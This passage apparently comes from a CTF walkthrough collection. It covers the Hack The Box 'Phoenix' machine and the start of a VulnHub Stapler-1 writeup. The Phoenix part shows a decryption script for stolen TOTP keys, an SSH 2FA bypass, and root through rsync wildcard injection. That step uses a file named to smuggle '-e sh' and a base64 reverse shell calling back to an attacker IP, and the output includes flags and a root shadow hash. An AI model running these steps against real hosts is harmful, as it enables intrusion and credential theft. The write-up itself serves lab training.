                                $db_value = unserialize( $db_value );
                        }
                        return $db_value;
                }
        }

        /**
         * The function gets the cookie value after decoding and decryption.
         *
         * @param string $cookiename - the cookie name
         *
         * @return string
         */
        public static function mo2f_get_cookie_values( $cookiename ) {

                $key        = get_option( 'mo2f_encryption_key' );
                if ( isset( $_COOKIE[ $cookiename ] ) ) {
                        $decrypted_data = MO2f_Utility::decrypt_data( base64_decode( $_COOKIE[ $cookiename ] ), $key );

                        if(MO2f_Utility::isJSON($decrypted_data))
                         $decrypted_data = json_decode($decrypted_data);

                        if ( $decrypted_data ) {
                                $decrypted_data_array = explode( '&', $decrypted_data );

                                $cookie_value         = $decrypted_data_array[0];
                                if(sizeof($decrypted_data_array) == 2 ){
                                        $cookie_creation_time = new DateTime( $decrypted_data_array[1] );
                                }else{
                                        $cookie_creation_time = new DateTime( array_pop($decrypted_data_array) );
                                        $cookie_value = implode('&', $decrypted_data_array);
                                }
                                $current_time         = new DateTime( 'now' );

                                $interval = $cookie_creation_time->diff( $current_time );
                                $minutes  = $interval->format( '%i' );

                                $is_cookie_valid = $minutes <= 5 ? true : false;

                                return $is_cookie_valid ? $cookie_value : false;

                        } else {
                                return false;
                        }
                } else {
                        return false;
                }
        }
    
   public static function isJSON($string){
           return is_string($string) && is_array(json_decode($string, true)) ? true : false;
        }
        /**
         * The function sets the cookie value after encryption and encoding.
         *
         * @param string $cookiename - the cookie name
         * @param string $cookievalue - the cookie value to be set
         *
         * @return string
         */
        public static function  mo2f_set_cookie_values( $cookiename, $cookievalue ) {

                $key        = get_option( 'mo2f_encryption_key' );

                $current_time = new DateTime( 'now' );
                $current_time = $current_time->format( 'Y-m-d H:i:sP' );
                $cookievalue  = $cookievalue . '&' . $current_time;

                $cookievalue_encrypted = MO2f_Utility::encrypt_data( $cookievalue, $key );
                // setcookie( $cookiename, base64_encode( $cookievalue_encrypted ) );
                // setcookie( $cookiename, base64_encode( $cookievalue_encrypted ),NULL,NULL,NULL,NULL, TRUE );
                $_COOKIE[$cookiename] = base64_encode( $cookievalue_encrypted );
        }

        /**
         * @param string $data - the key=value pairs separated with &
         *
         * @return string
         */
        public static function encrypt_data( $data, $key ) {
                $plaintext = $data;
                $ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
                $iv = openssl_random_pseudo_bytes($ivlen);
                $ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
                $hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
                $ciphertext = base64_encode( $iv.$hmac.$ciphertext_raw );
                return $ciphertext;
        }

        /**
         * The function unsets the session variables passed.
         *
         * @param array $variables - the array of session variables to be unset
         *
         * @return NA
         */
        public static function unset_session_variables( $variables ) {
                if ( gettype( $variables ) == "array" ) {
                        foreach ( $variables as $variable ) {
                                if ( isset( $_SESSION[ $variable ] ) ) {
                                        unset( $_SESSION[ $variable ] );
                                }
                        }
                } else {
                        if ( isset( $_SESSION[ $variables ] ) ) {
                                unset( $_SESSION[ $variables ] );
                        }
                }
        }

        /**
         * The function unsets the cookie variables passed.
         *
         * @param array $variables - the array of cookie variables to be unset
         *
         * @return NA
         */
        public static function unset_cookie_variables( $variables ) {

                if ( gettype( $variables ) == "array" ) {
                        foreach ( $variables as $variable ) {
                                if ( isset( $_COOKIE[ $variable ] ) ) {
                                        setcookie( $variable, '', time() - 3600,NULL,NULL,NULL, TRUE );
                                }
                        }
                } else {
                        if ( isset( $_COOKIE[ $variables ] ) ) {
                                setcookie( $variables, '', time() - 3600,NULL,NULL,NULL, TRUE );
                        }
                }

        }

        /**
         * The function unsets the temp table variables passed.
         *
         * @param array $variables - the array of temporary table variables to be unset
         * @param string $session_id - the session_id for which it should be destroyed
         *
         * @return NA
         */
        public static function unset_temp_user_details_in_table( $variables, $session_id, $command='' ) {
                global $Mo2fdbQueries;
                $key        = get_option( 'mo2f_encryption_key' );
                $session_id = MO2f_Utility::decrypt_data( $session_id, $key );
                if($command == "destroy"){
                        $Mo2fdbQueries->delete_user_login_sessions( $session_id );
                }else{
                        $Mo2fdbQueries->save_user_login_details( $session_id, array($variables => ''));
                }
        }



        /**
         * The function decodes the twofactor methods
         *
         * @param array $variables - the selected 2-factor method and the decode type.
         *
         * @return NA
         */
        public static function mo2f_decode_2_factor( $selected_2_factor_method, $decode_type ) {

                if ( $selected_2_factor_method == 'NONE' ) {
                        return $selected_2_factor_method;
                }else if($selected_2_factor_method == "OTP Over Email")
                {
                        $selected_2_factor_method = "OTPOverEmail";
                }


                $wpdb_2fa_methods = array(
                        "miniOrangeQRCodeAuthentication" => "miniOrange QR Code Authentication",
                        "miniOrangeSoftToken"            => "miniOrange Soft Token",
                        "miniOrangePushNotification"     => "miniOrange Push Notification",
                        "GoogleAuthenticator"            => "Google Authenticator",
                        "AuthyAuthenticator"             => "Authy Authenticator",
                        "SecurityQuestions"              => "Security Questions",
                        "EmailVerification"              => "Email Verification",
                        "OTPOverSMS"                     => "OTP Over SMS",
                        "OTPOverEmail"                                   => "OTP Over Email",
                        "DuoAuthenticator"               => "Duo Authenticator"
                );

                $server_2fa_methods = array(
                        "miniOrange QR Code Authentication" => "MOBILE AUTHENTICATION",
                        "miniOrange Soft Token"             => "SOFT TOKEN",
                        "miniOrange Push Notification"      => "PUSH NOTIFICATIONS",
                        "Google Authenticator"              => "GOOGLE AUTHENTICATOR",
                        "Authy Authenticator"               => "GOOGLE AUTHENTICATOR",
                        "Security Questions"                => "KBA",
                        "Email Verification"                => "OUT OF BAND EMAIL",
                        "OTP Over SMS"                      => "SMS",
                        "EMAIL"                             => "OTP Over Email",
                        "OTPOverEmail"                                          => "OTP Over Email",
                        "Duo Authenticator"                 => "Duo Authenticator",
                        "DUO AUTHENTICATOR"                                     => "Duo Authenticator",
                        "OTP Over Email"                                        => "EMAIL",
                        "OTP OVER EMAIL"                    => "EMAIL"

                );

                $server_to_wpdb_2fa_methods = array(
                        "MOBILE AUTHENTICATION" => "miniOrange QR Code Authentication",
                        "SOFT TOKEN"            => "miniOrange Soft Token",
                        "PUSH NOTIFICATIONS"    => "miniOrange Push Notification",
                        "GOOGLE AUTHENTICATOR"  => "Google Authenticator",
                        "KBA"                   => "Security Questions",
                        "OUT OF BAND EMAIL"     => "Email Verification",
                        "SMS"                   => "OTP Over SMS",
                        "EMAIL"                 => "OTP Over Email",
                        "OTPOverEmail"                  => "OTP Over Email",
                        "OTP OVER EMAIL"                => "OTP Over Email",
                        "OTP Over SMS"                  => "OTP Over SMS",
                        "Security Questions"    => "Security Questions",
                        "Google Authenticator"  => "Google Authenticator"
                );

                 $methodname='';
                if ( $decode_type == "wpdb" ) {
                        $methodname = isset($wpdb_2fa_methods[ $selected_2_factor_method ])?$wpdb_2fa_methods[ $selected_2_factor_method ]:$selected_2_factor_method;
                } else if ( $decode_type == "server" ) {
                        $methodname = isset($server_2fa_methods[ $selected_2_factor_method ])?$server_2fa_methods[ $selected_2_factor_method ]:$selected_2_factor_method;
                } else {
                        $methodname = isset($server_to_wpdb_2fa_methods[ $selected_2_factor_method ])?$server_to_wpdb_2fa_methods[ $selected_2_factor_method ]:$selected_2_factor_method;
                }
                return $methodname;

        }
        public static function is_same_method($method,$current_method){
                if($method == $current_method || $method == MO2f_Utility::mo2f_decode_2_factor($current_method,'wpdb') || $method == MO2f_Utility::mo2f_decode_2_factor($current_method,'') || MO2f_Utility::mo2f_decode_2_factor($current_method,'server') == $method)
                        return true;
                return false;
        }

        public static function get_plugin_name_by_identifier( $plugin_identitifier ){
                $all_plugins = get_plugins();
                $plugin_details = $all_plugins[$plugin_identitifier];

                return $plugin_details["Name"] ? $plugin_details["Name"] : "No Plugin selected" ;
        }
   
    public static function isBlank($value)
    {
        if (!isset($value) || empty($value)) return TRUE;
        return FALSE;
    }

    public static function get_index_value($var,$index){
        switch ($var) {
                case 'GLOBALS':
                        return isset($GLOBALS[$index])?$GLOBALS[$index]:false;
                        break;
    
                default:
                        return false;
                        break;
        }
        }

        public static function get_codes_email_content($codes){
        $message =  '<table cellpadding="25" style="margin:0px auto">
        <tbody>
        <tr>
        <td>
        <table cellpadding="24" width="584px" style="margin:0 auto;max-width:584px;background-color:#f6f4f4;border:1px solid #a8adad">
        <tbody>
        <tr>
        <td><img src="https://ci5.googleusercontent.com/proxy/10EQeM1udyBOkfD2dwxGhIaMXV4lOwCRtUecpsDkZISL0JIkOL2JhaYhVp54q6Sk656rW2rpAFJFEgGQiAOVcYIIKxXYMHHMNSNB=s0-d-e1-ft#https://login.xecurify.com/moas/images/xecurify-logo.png" style="color:#5fb336;text-decoration:none;display:block;width:auto;height:auto;max-height:35px" class="CToWUd"></td>
        </tr>
        </tbody>
        </table>
        <table cellpadding="24" style="background:#fff;border:1px solid #a8adad;width:584px;border-top:none;color:#4d4b48;font-family:Arial,Helvetica,sans-serif;font-size:13px;line-height:18px">
        <tbody>
        <tr>
        <td>
        <p style="margin-top:0;margin-bottom:20px">Dear Customer,</p>
        <p style="margin-top:0;margin-bottom:10px">You initiated a transaction from <b>WordPress 2 Factor Authentication Plugin</b>:</p>
        <p style="margin-top:0;margin-bottom:10px">Your backup codes are:-
        <table cellspacing="10">
            <tr>';
            for ($x = 0; $x < sizeof($codes); $x++) {
                        $message = $message.'<td>'.$codes[$x].'</td>';
                       
                }
        $message = $message.'</table></p>
        <p style="margin-top:0;margin-bottom:10px">Please use this carefully as each code can only be used once. Please do not share these codes with anyone.</p>
        <p style="margin-top:0;margin-bottom:10px">Also, we would highly recommend you to reconfigure your two-factor after logging in.</p>
        <p style="margin-top:0;margin-bottom:15px">Thank you,<br>miniOrange Team</p>
        <p style="margin-top:0;margin-bottom:0px;font-size:11px">Disclaimer: This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.</p>
        </div></div></td>
        </tr>
        </tbody>
        </table>
        </td>
        </tr>
        </tbody>
        </table>';
        return $message;
    }

    public static function get_codes_warning_email_content($codes_remaining){
        $message =  '<table cellpadding="25" style="margin:0px auto">
        <tbody>
        <tr>
        <td>
        <table cellpadding="24" width="584px" style="margin:0 auto;max-width:584px;background-color:#f6f4f4;border:1px solid #a8adad">
        <tbody>
        <tr>
        <td><img src="https://ci5.googleusercontent.com/proxy/10EQeM1udyBOkfD2dwxGhIaMXV4lOwCRtUecpsDkZISL0JIkOL2JhaYhVp54q6Sk656rW2rpAFJFEgGQiAOVcYIIKxXYMHHMNSNB=s0-d-e1-ft#https://login.xecurify.com/moas/images/xecurify-logo.png" style="color:#5fb336;text-decoration:none;display:block;width:auto;height:auto;max-height:35px" class="CToWUd"></td>
        </tr>
        </tbody>
        </table>
        <table cellpadding="24" style="background:#fff;border:1px solid #a8adad;width:584px;border-top:none;color:#4d4b48;font-family:Arial,Helvetica,sans-serif;font-size:13px;line-height:18px">
        <tbody>
        <tr>
        <td>
        <p style="margin-top:0;margin-bottom:20px">Dear Customer,</p>
        <p style="margin-top:0;margin-bottom:10px">You have '.$codes_remaining.' backup codes remaining. Kindly reconfigure your two-factor to avoid being locked out.</b></p>
        <p style="margin-top:0;margin-bottom:15px">Thank you,<br>miniOrange Team</p>
        <p style="margin-top:0;margin-bottom:0px;font-size:11px">Disclaimer: This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed.</p>
        </div></div></td>
        </tr>
        </tbody>
        </table>
        </td>
        </tr>
        </tbody>
        </table>';
        return $message;
    }

    public static function mo2f_get_codes_hash($codes){
        $codes_hash=array();
        for ($x = 0; $x < sizeof($codes); $x++) {
            $str = $codes[$x];
            array_push($codes_hash,md5($str));
        }
        return $codes_hash;
    }

    public static function mo2f_email_backup_codes($codes, $mo2f_user_email){
        $subject    = '2-Factor Authentication(Backup Codes)';
        $headers    = array('Content-Type: text/html; charset=UTF-8');
        $message    = MO2f_Utility::get_codes_email_content($codes);
        $result     = wp_mail($mo2f_user_email,$subject,$message,$headers);
        return $result;
    }

    public static function mo2f_download_backup_codes($id, $codes){
        update_user_meta($id, 'mo_backup_code_downloaded', 1);
        header('Content-Disposition: attachment; filename=miniOrange2-factor-BackupCodes.txt');
        echo "Two Factor Backup Codes:".PHP_EOL.PHP_EOL;
        echo "These are the codes that can be used in case you lose your phone or cannot access your email. Please reconfigure your authentication method after login.".PHP_EOL."Please use this carefully as each code can only be used once. Please do not share these codes with anyone..".PHP_EOL.PHP_EOL;
        for ($x = 0; $x < sizeof($codes); $x++){
            $str1= $codes[$x];
            echo(($x+1).". ".$str1." ");
        }
                                
        exit;
    }

    public static function mo2f_debug_file($text){
        if(MoWpnsUtility::get_mo2f_db_option('mo2f_enable_debug_log', 'site_option') == 1){
                $debug_log_path = wp_upload_dir();
                $debug_log_path = $debug_log_path['basedir'].DIRECTORY_SEPARATOR;
                $filename = 'miniorange_debug_log.txt';
                $data = '[' . date("Y/m/d").' '. time().']:'.$text."\n";
                $handle = fopen($debug_log_path.DIRECTORY_SEPARATOR.$filename,'a+');
                        fwrite($handle,$data);
                        fclose($handle);
        }
    }


    public static function mo2f_mail_and_download_codes(){
      global $Mo2fdbQueries;
       
        $id = get_current_user_id();
        $mo2f_user_email = $Mo2fdbQueries->get_user_detail( 'mo2f_user_email', $id );
        if(empty($mo2f_user_email)){
            $currentuser = get_user_by( 'id', $id );
            $mo2f_user_email = $currentuser->user_email;
        }
        $generate_backup_code = new Customer_Cloud_Setup();
        $codes=$generate_backup_code->mo_2f_generate_backup_codes($mo2f_user_email, site_url());
         
        if($codes == 'LimitReached'|| $codes == 'UserLimitReached' || $codes == 'AllUsed' || $codes == 'invalid_request')
                return $codes;

        $codes = explode(' ', $codes);
        $codes_hash=MO2f_Utility::mo2f_get_codes_hash($codes);
        $result = MO2f_Utility::mo2f_email_backup_codes($codes, $mo2f_user_email);
        update_user_meta($id, 'mo_backup_code_generated', 1);
        update_user_meta($id, 'mo_backup_code_downloaded', 1);
        MO2f_Utility::mo2f_download_backup_codes($id, $codes);
    }


}

?>
```

then We can grab the wordpress login from the wp-config.php file:

``` bash
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', '<++32%himself%FIRM%section%32++>' );
define( 'DB_HOST', 'localhost:/var/run/mysqld/mysqld.sock' );
```

then connect to mysql to get more information:

``` bash
wp_user@phoenix:/$ mysql -uwordpress -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2823
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select meta_value from wp_usermeta WHERE meta_key IN ('mo2f_gauth_key');
+--------------------------------------------------------------------------------------------------------------+
| meta_value                                                                                                   |
+--------------------------------------------------------------------------------------------------------------+
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |
| mFeor0xmxMGd4ncJhPAuPGM6HXap6neH469PGQ2wVj23TuAYSULMTQTnQcH4SgnaO7BVPok5rTc4vqxYMYZCFNJC35KeyByT3cF05m27lvI= |
+--------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> select meta_value from wp_usermeta WHERE meta_key IN ('mo2f_get_auth_rnd_string');
+------------+
| meta_value |
+------------+
| kHHxxX3f   |
| M6EwACNR   |
+------------+
2 rows in set (0.00 sec)
```

and then easily write an decrypt exp php file to get the key:

``` bash
<?php
function decrypt_data($data, $key) {
                $c = base64_decode($data);
                $ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
                $iv = substr($c, 0, $ivlen);
                $hmac = substr($c, $ivlen, $sha2len=32);
                $ciphertext_raw = substr($c, $ivlen+$sha2len);
                $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
                $calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);


                return $original_plaintext;
        }
echo decrypt_data("qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=","kHHxxX3f");
?>
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# php exp.php                                          
PDEEWIVJSIDWS6WO
```

then we can use OPT dynamic code to login:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2188.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2189.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2190.jpg)

but login is no use for later movement, we just need to known there is a way to this

#### User own

We can completely bypass the 2FA by renaming the plugin over at /opt/wordpress/ but it doesn’t get us much further than we already are. 

Instead back to using SSH, we can look into bypassing the 2FA completely (for ssh this time, not wordpress), in the /etc/pam.d/ssh config, we see reference to an accessfile:

read more about it:

 - [pam_google_authenticator](https://manpages.ubuntu.com/manpages/bionic/man8/pam_google_authenticator.8.html)

``` bash
auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf

wp_user@phoenix:~/wordpress$ cat /etc/security/access-local.conf
+ : ALL : 10.11.12.13/24
- : ALL : ALL
```

We need to connect from an IP on the 10.11.2.13/24 subnet, which we can’t do from our machine or locally from the other machine. so we use ssh command in the wp_user shell:

We finally SSH over to the box, reusing editor‘s password:

``` bash
wp_user@phoenix:~/wordpress$ ssh editor@10.11.12.13
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|
Password: superphoenix
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-96-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 24 Mar 2022 07:03:51 AM UTC

  System load:             0.0
  Usage of /:              70.3% of 4.36GB
  Memory usage:            26%
  Swap usage:              0%
  Processes:               244
  Users logged in:         0
  IPv4 address for ens160: 10.10.11.149
  IPv6 address for ens160: dead:beef::250:56ff:feb9:ce55
  IPv4 address for eth0:   10.11.12.13


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Mar 23 18:41:06 2022 from 10.11.12.13
editor@phoenix:~$ id
uid=1002(editor) gid=1002(editor) groups=1002(editor)
editor@phoenix:~$ whoami
editor
editor@phoenix:~$ cat user.txt 
8c36b4a1e1ba0a43169f10a1d0975fee
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2191.jpg)

#### Root own

we found a cron job file in 

``` bash
editor@phoenix:/dev/shm$ find /usr/local/bin/ -perm -o=x -type f 2>/dev/null
/usr/local/bin/cron.sh.x
```

We can run pspy however we can’t see processes from other users. Enumerating the box more, we find cron.sh.x, if we run this manually and see what it’s doing:

``` bash
2022/03/23 19:15:04 CMD: UID=1002 PID=50487  | /usr/local/bin/cron.sh.x -c exec '/usr/local/bin/cron.sh.x' "$@" /usr/local/bin/cron.sh.x
2022/03/23 19:15:04 CMD: UID=1002 PID=50489  | mysqldump -u root wordpress 
2022/03/23 19:15:04 CMD: UID=1002 PID=50490  | tar -cf phoenix.htb.2022-03-23-19-15.tar dbbackup.sql 
2022/03/23 19:15:04 CMD: UID=1002 PID=50491  | rm dbbackup.sql 
2022/03/23 19:15:04 CMD: UID=1002 PID=50492  | gzip -9 phoenix.htb.2022-03-23-19-15.tar 
2022/03/23 19:15:20 CMD: UID=1002 PID=50493  | find . -type f -mmin +30 -delete 
2022/03/23 19:15:20 CMD: UID=1002 PID=50494  | rsync --ignore-existing -t phoenix.htb.2022-03-23-18-48.tar.gz phoenix.htb.2022-03-23-18-51.tar.gz phoenix.htb.2022-03-23-18-54.tar.gz phoenix.htb.2022-03-23-18-57.tar.gz phoenix.htb.2022-03-23-19-00.tar.gz phoenix.htb.2022-03-23-19-03.tar.gz phoenix.htb.2022-03-23-19-05.tar.gz phoenix.htb.2022-03-23-19-06.tar.gz phoenix.htb.2022-03-23-19-09.tar.gz phoenix.htb.2022-03-23-19-12.tar.gz phoenix.htb.2022-03-23-19-15.tar.gz jit@10.11.12.14:/backups/
2022/03/23 19:15:20 CMD: UID=1002 PID=50495  | ssh -l jit 10.11.12.14 rsync --server -te.LsfxC --ignore-existing . /backups/
```

It seems to use a few wild cards. We can try exploit this line:

``` bash
rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/
```

We can see some article here:

 - [gtfobins-rsync](https://gtfobins.github.io/gtfobins/rsync/)

 - [Wildcards Spare tricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks)

We can create 2 files in /backups to exploit this:

``` bash
echo "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzEyMzQgMD4mMQ==|base64 -d|bash" > shell.sh

touch -- "-e sh shell.sh"

editor@phoenix:/backups$ chmod +x shell.sh
editor@phoenix:/backups$ chmod +x -- '-e sh shell.sh'
editor@phoenix:/backups$ ls -la
total 5300
drwxr-x---  2 editor editor   4096 Mar 23 19:39  .
drwxr-xr-x 20 root   root     4096 Feb 25 19:40  ..
-rwxrwxr-x  1 editor editor      0 Mar 23 19:38 '-e sh shell.sh'
-rw-r--r--  1 root   root   675305 Mar 23 19:12  phoenix.htb.2022-03-23-19-12.tar.gz
-rw-rw-r--  1 editor editor    151 Mar 23 19:15  phoenix.htb.2022-03-23-19-15.tar.gz
-rw-r--r--  1 root   root   675308 Mar 23 19:18  phoenix.htb.2022-03-23-19-18.tar.gz
-rw-r--r--  1 root   root   675308 Mar 23 19:21  phoenix.htb.2022-03-23-19-21.tar.gz
-rw-r--r--  1 root   root   675303 Mar 23 19:24  phoenix.htb.2022-03-23-19-24.tar.gz
-rw-rw-r--  1 editor editor    152 Mar 23 19:27  phoenix.htb.2022-03-23-19-27.tar.gz
-rw-r--r--  1 root   root   675307 Mar 23 19:30  phoenix.htb.2022-03-23-19-30.tar.gz
-rw-r--r--  1 root   root   675307 Mar 23 19:33  phoenix.htb.2022-03-23-19-33.tar.gz
-rw-r--r--  1 root   root   675308 Mar 23 19:36  phoenix.htb.2022-03-23-19-36.tar.gz
-rw-r--r--  1 root   root   675308 Mar 23 19:39  phoenix.htb.2022-03-23-19-39.tar.gz
-rwxrwxr-x  1 editor editor     85 Mar 23 19:39  shell.sh
```

after 3 minutes, we got a root shell:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# nc -lvp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.149.
Ncat: Connection from 10.10.11.149:34274.
bash: cannot set terminal process group (50726): Inappropriate ioctl for device
bash: no job control in this shell
root@phoenix:/backups# cat /root/root.txt
cat /root/root.txt
258b721224d4a73b09b555077a962004
root@phoenix:/backups# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$U6DRf4846rMqwA5E$Bwo3RxRA1t15bx6xvX8fVZ1cNfMoFVkpwyoWcK2gz3HRX16/d.zqHlQI68v8drjuFWucpXhRYpIbnhg35.Vjc0:18944:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2192.jpg)

#### Summary of knowledge

 - wordpress enumeration
 - Asgaros Forum < 2.0.0 plugin - Subscriber+ Blind SQL Injection
 - john crack wordpress hash
 - Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload to get shell
 - OPT KEY decrypt
 - bypass linux 2FA
 - use cron job file rsync process to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end phoenix -->

</details>

<a id="case-stapler-1"></a>

## 插件文件读取与数据库写入

WordPress 插件、MySQL 文件权限、历史记录和内核分支是原文的多种路径。每条成功与失败记录继续并列呈现。

<p class="kb-provenance">来源 Stapler-1 · 原记录 2020-04-13 · 26 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-stapler-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Stapler-1 -->

#### 名称
名称：Stapler: 1
发布日期：2016年6月8日

#### 下载

Stapler.zip

 - Download (Mirror): https://download.vulnhub.com/stapler/Stapler.zip
 - Download (Torrent): https://download.vulnhub.com/stapler/Stapler.zip.torrent



#### 描述

``` bash
+---------------------------------------------------------+
|                                                         |
|                                  __..--''\              |
|                          __..--''         \             |
|                  __..--''          __..--''             |
|          __..--''          __..--''       |             |
|          \ o        __..--''____....----""              |
|           \__..--''\                                    |
|           |         \                                   |
|          +----------------------------------+           |
|          +----------------------------------+           |
|                                                         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|   名称: Stapler           |          IP: DHCP           |
|   日期: 2016-June-08      |        目标: Get Root!      |
|   作者: g0tmi1k           |        难度: ??? ;)         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|                                                         |
| + 一般的初级/中级虚拟机，只有几个拐点                      |
|   + 可能会觉得容易/困难(取决于你的水平)                    |
|   + ...还有攻击box的方式                                 |
|                                                         |
| + 它应该在VMware和Virtualbox上都能工作                    |
|   + 如果更改了网络模式，请重新启动VM                       |
|   + Fusion用户，需要在导入时重试                          |
|                                                         |
| + 有多种方法来执行此机器                                  |
|   + 至少有两(2)条路径可以得到有限制的shell                 |
|   + 至少有三种方法可以获得root访问权                       |
|                                                         |
| + 为2016年伦敦BsidesLondon定制                           |
|   + Slides: https://download.vulnhub.com/media/stapler/ |
|                                                         |
| + Thanks g0tmi1k, nullmode, rasta_mouse & superkojiman  |
|   + …向VulnHub-CTF团队大喊一声=)        |
|                                                         |
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - -+
|                                                         |
|       --[[~~Enjoy. Have fun. Happy Hacking.~~]]--       |
|                                                         |
+---------------------------------------------------------+
```

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.*
Nmap scan report for 192.168.56.122
Host is up (0.00013s latency).
MAC Address: 08:00:27:03:5A:E4 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -sV -v -p- 192.168.56.122
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
```

``` bash
root@kali:~# nmap -A -T4 -v --script=vuln -p 21,22,53,80,139,666,3306,12380 192.168.56.122
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.0.8 or later
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
53/tcp    open  domain      dnsmasq 2.75
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp    open  http        PHP cli server 5.5 or later
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
666/tcp   open  doom?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
